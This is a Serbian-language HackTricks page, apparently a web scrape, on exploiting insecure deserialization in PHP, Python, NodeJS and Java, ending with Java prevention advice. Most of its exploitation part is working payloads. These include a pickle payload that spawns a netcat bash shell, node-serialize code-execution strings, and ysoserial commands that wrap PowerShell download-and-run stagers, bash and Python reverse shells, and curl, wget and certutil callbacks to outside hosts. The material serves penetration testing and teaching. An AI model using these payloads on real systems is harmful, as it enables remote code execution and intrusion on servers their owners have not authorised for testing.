53 KiB
Десеријализација
Научите хаковање AWS-а од нуле до хероја са htARTE (HackTricks AWS Red Team Expert)!
Други начини да подржите HackTricks:
- Ако желите да видите своју компанију рекламирану на HackTricks или преузмете HackTricks у PDF-у Проверите ПРЕТПЛАТНЕ ПЛАНОВЕ!
- Набавите званични PEASS & HackTricks сувенир
- Откријте The PEASS Family, нашу колекцију ексклузивних NFT-ова
- Придружите се 💬 Discord групи или телеграм групи или пратите нас на Twitter 🐦 @hacktricks_live.
- Поделите своје хакерске трикове слањем PR-ова на HackTricks и HackTricks Cloud github репозиторијуме.
Основне информације
Серијализација се сматра методом претварања објекта у формат који се може чувати, са намером да се објекат или сачува или пренесе као део комуникационог процеса. Ова техника се често користи да би се осигурало да објекат може бити реконструисан у каснијем времену, чувајући његову структуру и стање.
Десеријализација, супротно, је процес који дејствује против серијализације. Укључује преузимање података који су структурирани у одређеном формату и реконструирање их у објекат.
Десеријализација може бити опасна јер потенцијално омогућава нападачима да манипулишу серијализованим подацима да изврше штетан код или изазову неочекивано понашање у апликацији током процеса реконструкције објекта.
PHP
У PHP-у се користе специфичне магичне методе за серијализацију и десеријализацију:
__sleep
: Позван када се објекат серијализује. Овај метод треба вратити низ имена свих својстава објекта које треба серијализовати. Често се користи за извршавање нерешених података или извршавање сличних задатака за чишћење.__wakeup
: Позван када се објекат десеријализује. Користи се за поновно успостављање било којих веза са базом података које су можда изгубљене при серијализацији и извршавање других задатака за поновно иницијализовање.__unserialize
: Овај метод се позива уместо__wakeup
(ако постоји) када се објекат десеријализује. Он пружа већу контролу над процесом десеријализације упоређено са__wakeup
.__destruct
: Овај метод се позива када је објекат на измаку или када се скрипта завршава. Обично се користи за задатке чишћења, као што је затварање датотека или веза са базом података.__toString
: Овај метод омогућава да се објекат третира као низ знакова. Може се користити за читање датотеке или друге задатке на основу позива функција унутар њега, ефективно пружајући текстуални приказ објекта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Ako pogledate rezultate, možete videti da se funkcije __wakeup
i __destruct
pozivaju prilikom deserializacije objekta. Napomena: u nekoliko tutorijala ćete videti da se funkcija __toString
poziva prilikom pokušaja štampanja nekog atributa, ali izgleda da se to više ne dešava.
{% hint style="warning" %}
Metoda __unserialize(array $data)
se poziva umesto __wakeup()
ako je implementirana u klasi. Omogućava vam da deserijalizujete objekat pružajući serijske podatke kao niz. Možete koristiti ovu metodu da deserijalizujete svojstva i obavite sve neophodne zadatke prilikom deserijalizacije.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Možete pročitati objašnjeni PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Možete zloupotrebiti PHP autoload funkcionalnost da biste učitali proizvoljne PHP fajlove i još mnogo toga:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Serijalizacija referenciranih vrednosti
Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial za PHP)
PHPGGC može vam pomoći da generišete payload-ove za zloupotrebu PHP deserijalizacije.
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način za zloupotrebu deserijalizacije u izvornom kodu aplikacije, ali možda ćete moći zloupotrebiti kod spoljnih PHP ekstenzija.
Dakle, ako možete, proverite phpinfo()
servera i pretražite internet (čak i gadžete iz PHPGGC) neke moguće gadžete koje biste mogli zloupotrebiti.
deserijalizacija metapodataka phar://
Ako ste pronašli LFI koji samo čita datoteku i ne izvršava PHP kod unutar nje, na primer koristeći funkcije poput file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize(). Možete pokušati zloupotrebiti deserijalizaciju koja se dešava prilikom čitanja datoteke koristeći phar protokol.
Za više informacija pročitajte sledeći post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Kada se objekat depiklira, funkcija __reduce__ će biti izvršena.
Kada se iskoristi, server može vratiti grešku.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Za više informacija o bekstvu iz pickle zatvora pogledajte:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
Na sledećoj stranici je prikazana tehnika zloupotrebe nesigurne deserijalizacije u yaml Python bibliotekama i završava se alatom koji se može koristiti za generisanje RCE deserijalizacijskog payloada za Pickle, PyYAML, jsonpickle i ruamel.yaml:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Zagađenje klase (Python prototip zagađenje)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Magične funkcije
JS nema "magične" funkcije poput PHP-a ili Pythona koje će se izvršiti samo za kreiranje objekta. Ali ima neke funkcije koje se često koriste čak i bez direktnog pozivanja kao što su toString
, valueOf
, toJSON
.
Ako zloupotrebite deserijalizaciju, možete ugroziti ove funkcije da izvršavaju drugi kod (potencijalno zloupotrebljavajući zagađenje prototipa) i možete izvršiti proizvoljni kod kada se one pozovu.
Još jedan "magičan" način pozivanja funkcije bez direktnog pozivanja je ugrožavanje objekta koji se vraća asinhronom funkcijom (promise). Jer, ako transformišete taj vraćeni objekat u drugi promise sa svojstvom nazvanim "then" tipa funkcija, on će biti izvršen samo zato što je vraćen od drugog promise-a. Pratite ovaj link za više informacija.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
и prototype
zagađenje
Ako želite da saznate više o ovoj tehnici, pogledajte sledeći tutorijal:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Ova biblioteka omogućava serijalizaciju funkcija. Primer:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
Serijalizovani objekat će izgledati ovako:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Možete videti u primeru da kada se funkcija serijalizuje, flag _$$ND_FUNC$$_
se dodaje serijalizovanom objektu.
Unutar fajla node-serialize/lib/serialize.js
možete pronaći isti flag i kako se kod koristi.
Kao što možete videti u poslednjem delu koda, ako se flag pronađe, koristi se eval
za deserijalizaciju funkcije, tako da se u osnovi korisnički unos koristi unutar funkcije eval
.
Međutim, samo serijalizacija funkcije je neće izvršiti jer bi bilo potrebno da neki deo koda poziva y.rce
u našem primeru, što je veoma neverovatno.
U svakom slučaju, možete jednostavno izmeniti serijalizovani objekat dodavanjem zagrada kako biste automatski izvršili serijalizovanu funkciju prilikom deserijalizacije objekta.
U sledećem delu koda primetite poslednje zagrade i kako će funkcija unserialize
automatski izvršiti kod:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon _$$ND_FUNC$$_
i izvršiti ga koristeći eval
. Stoga, kako biste automatski izvršili kod, možete izbrisati deo kreiranja funkcije i poslednju zagradu i samo izvršiti JS jednolinijski kod kao u sledećem primeru:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Možete ovde pronaći dodatne informacije o tome kako iskoristiti ovu ranjivost.
funcster
Značajan aspekt funcster-a je nedostupnost standardnih ugrađenih objekata; oni su van dosega. Ova restrikcija sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka poput "ReferenceError: console is not defined"
kada se koriste komande poput console.log()
ili require(something)
.
Uprkos ovoj ograničenosti, moguće je ponovo uspostaviti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, kroz određeni pristup. Korišćenjem globalnog konteksta direktno, moguće je zaobići ovu restrikciju. Na primer, pristup može biti ponovo uspostavljen korišćenjem sledećeg isečka koda:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Za više informacija pročitajte ovaj izvor.
serialize-javascript
Paket serialize-javascript je dizajniran isključivo za potrebe serijalizacije, bez ugrađenih mogućnosti za deserijalizaciju. Korisnici su odgovorni za implementaciju sopstvene metode za deserijalizaciju. Direktna upotreba eval
funkcije je predložena u zvaničnom primeru za deserijalizaciju serijalizovanih podataka:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Ako se ova funkcija koristi za de-serijalizaciju objekata, možete je lako iskoristiti:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Za više informacija pročitajte ovaj izvor.
Cryo biblioteka
Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku radi izvršavanja proizvoljnih komandi:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
U Javi, callback-ovi za deserializaciju se izvršavaju tokom procesa deserializacije. Ovu izvršavanje mogu iskoristiti napadači koji kreiraju zlonamerne payload-e koji pokreću ove callback-ove, što može dovesti do potencijalnog izvršavanja štetnih radnji.
Otisci
Bela kutija
Da biste identifikovali potencijalne ranjivosti deserializacije u kodnoj bazi, pretražite:
- Klase koje implementiraju interfejs
Serializable
. - Upotrebu funkcija
java.io.ObjectInputStream
,readObject
,readUnshare
.
Posebno obratite pažnju na:
XMLDecoder
koji se koristi sa parametrima definisanim od strane eksternih korisnika.XStream
-ovu metodufromXML
, posebno ako je verzija XStream-a manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.ObjectInputStream
uparen sa metodomreadObject
.- Implementaciju metoda poput
readObject
,readObjectNodData
,readResolve
ilireadExternal
. ObjectInputStream.readUnshared
.- Opštu upotrebu
Serializable
.
Crna kutija
Za testiranje crne kutije, potražite specifične potpise ili "Magic Bytes" koji označavaju java serijalizovane objekte (potiču iz ObjectInputStream
):
- Heksadecimalni obrazac:
AC ED 00 05
. - Base64 obrazac:
rO0
. - HTTP odgovor sa zaglavljem
Content-type
postavljenim naapplication/x-java-serialized-object
. - Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju:
1F 8B 08 00
. - Base64 obrazac koji ukazuje na prethodnu kompresiju:
H4sIA
. - Veb fajlove sa ekstenzijom
.faces
i parametromfaces.ViewState
. Otkrivanje ovih obrazaca u veb aplikaciji trebalo bi da pokrene pregled kao što je detaljno opisano u postu o Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Provera da li je ranjiv
Ako želite da saznate kako funkcioniše Java Deserialized exploit, trebali biste pogledati Osnovna Java Deserializacija, Java DNS Deserializacija i CommonsCollection1 Payload.
Testiranje belom kutijom
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Možete pokušati proveriti sve biblioteke koje su poznate kao ranjive i za koje Ysoserial može pružiti eksploataciju. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da biste pronašli moguće lance uređaja koji se mogu iskoristiti.
Kada pokrećete gadgetinspector (nakon izgradnje), ne brinite o gomili upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Sve rezultate će zapisati u gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Imajte na umu da gadgetinspector neće stvoriti eksploataciju i može pokazivati lažne pozitivne rezultate.
Test crne kutije
Koristeći Burp ekstenziju gadgetprobe, možete identifikovati koje biblioteke su dostupne (čak i verzije). Sa ovim informacijama, moglo bi biti lakše odabrati payload za iskorišćavanje ranjivosti.
Pročitajte ovo da biste saznali više o GadgetProbe-u.
GadgetProbe je fokusiran na ObjectInputStream
deserializacije.
Koristeći Burp ekstenziju Java Deserialization Scanner, možete identifikovati ranjive biblioteke koje se mogu iskoristiti sa ysoserial i iskoristiti ih.
Pročitajte ovo da biste saznali više o Java Deserialization Scanner-u.
Java Deserialization Scanner je fokusiran na ObjectInputStream
deserializacije.
Takođe možete koristiti Freddy da biste otkrili ranjivosti deserializacije u Burp-u. Ovaj dodatak će otkriti ranjivosti koje se odnose ne samo na ObjectInputStream
, već i na ranjivosti iz biblioteka za deserializaciju Json i Yml. U aktivnom režimu, pokušaće da ih potvrdi korišćenjem sleep ili DNS payloada.
Više informacija o Freddy-u možete pronaći ovde.
Testiranje serijalizacije
Nije sve u proveri da li server koristi ranjive biblioteke. Ponekad možete promeniti podatke unutar serijalizovanog objekta i zaobići neke provere (možda vam omogućiti administratorske privilegije unutar veb aplikacije).
Ako pronađete java serijalizovani objekat koji se šalje veb aplikaciji, možete koristiti SerializationDumper da biste ispisali serijalizovani objekat u formatu koji je čitljiviji čoveku. Poznavanje podataka koje šaljete olakšavaće vam izmenu i zaobilaženje nekih provera.
Eksploatacija
ysoserial
Glavni alat za eksploataciju Java deserializacija je ysoserial (preuzmite ovde). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti korišćenje složenih komandi (sa cevima, na primer).
Imajte na umu da je ovaj alat usmeren na iskorišćavanje ObjectInputStream
.
Predlažem da prvo koristite payload "URLDNS" pre RCE payloada da biste testirali da li je ubrizgavanje moguće. U svakom slučaju, imajte na umu da "URLDNS" payload možda ne radi, ali drugi RCE payload može.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Kada kreirate payload za java.lang.Runtime.exec(), ne možete koristiti posebne karaktere poput ">" ili "|" za preusmjeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak prosljeđivanje argumenata komandi odvojenih razmacima (možete koristiti echo -n "hello world"
, ali ne možete koristiti python2 -c 'print "Hello world"'
). Da biste pravilno enkodovali payload, možete koristiti ovu veb stranicu.
Slobodno koristite sledeći skript za kreiranje svih mogućih payloada za izvršavanje koda za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserialom da biste kreirali više eksploata. Više informacija o ovom alatu možete pronaći u prezentaciji gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec može se koristiti za generisanje payloada za iskorišćavanje različitih biblioteka za serijalizaciju Json i Yml u Javi.
Da biste kompajlirali projekat, morao sam dodati ove zavisnosti u pom.xml
fajl:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instalirajte Maven i kompajlirajte projekat:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratorije
- Ako želite da testirate neke ysoserial payloade, možete pokrenuti ovu web aplikaciju: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Zašto
Java često koristi serijalizaciju u razne svrhe kao što su:
- HTTP zahtevi: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima, itd.
- RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, je osnova za udaljenu komunikaciju u Java aplikacijama.
- RMI preko HTTP-a: Ovaj metod se često koristi u Java baziranim debelim klijentskim veb aplikacijama, koristeći serijalizaciju za sve komunikacije objekata.
- JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
- Prilagođeni protokoli: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u budućim primerima eksploatacije.
Prevencija
Privremeni objekti
Klasa koja implementira Serializable
može označiti bilo koji objekat unutar klase kao transient
ako taj objekat ne treba biti serijalizovan. Na primer:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Izbegavajte serijalizaciju klase koja mora da implementira Serializable
U scenarijima gde određeni objekti moraju da implementiraju interfejs Serializable
zbog hijerarhije klasa, postoji rizik od nenamernog deserijalizovanja. Da biste to sprečili, obezbedite da ovi objekti nisu deserijalizovani definisanjem final
readObject()
metode koja dosledno izaziva izuzetak, kao što je prikazano u primeru ispod:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Unapređivanje sigurnosti deserijalizacije u Javi
Prilagođavanje java.io.ObjectInputStream
je praktičan pristup za obezbeđivanje procesa deserijalizacije. Ova metoda je pogodna kada:
- Kod deserijalizacije je pod vašom kontrolom.
- Klase očekivane za deserijalizaciju su poznate.
Preklopite metodu resolveClass()
kako biste ograničili deserijalizaciju samo na dozvoljene klase. Ovo sprečava deserijalizaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao što je prikazano u sledećem primeru koji ograničava deserijalizaciju samo na klasu Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Korišćenje Java agenta za poboljšanje bezbednosti nudi alternativno rešenje kada modifikacija koda nije moguća. Ova metoda se primenjuje uglavnom za crnu listu štetnih klasa, koristeći JVM parametar:
-javaagent:name-of-agent.jar
Pruža način za dinamičko osiguranje deserijalizacije, idealno za okruženja u kojima su trenutne promene koda nepraktične.
Pogledajte primer u rO0 od Contrast Security
Implementiranje filtera za serijalizaciju: Java 9 je uvela filtere za serijalizaciju putem interfejsa ObjectInputFilter
, pružajući moćan mehanizam za specificiranje kriterijuma koje serijalizovani objekti moraju zadovoljiti pre deserijalizacije. Ovi filteri se mogu primeniti globalno ili po toku, pružajući granularnu kontrolu nad procesom deserijalizacije.
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserijalizacije ili ga dinamički konfigurisati za određene tokove. Na primer:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Iskorišćavanje spoljnih biblioteka za poboljšanu sigurnost: Biblioteke poput NotSoSerial, jdeserialize i Kryo nude napredne funkcionalnosti za kontrolu i praćenje Java deserijalizacije. Ove biblioteke mogu pružiti dodatne slojeve sigurnosti, poput beleženja ili blokiranja klasa, analize serijalizovanih objekata pre deserijalizacije i implementacije prilagođenih strategija serijalizacije.
- NotSoSerial presreće procese deserijalizacije kako bi sprečio izvršavanje nepouzdanog koda.
- jdeserialize omogućava analizu serijalizovanih Java objekata bez deserijalizacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
- Kryo je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurabilne strategije serijalizacije koje mogu poboljšati sigurnost.
Reference
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Saznajte šta je JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA i LDAP-a i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
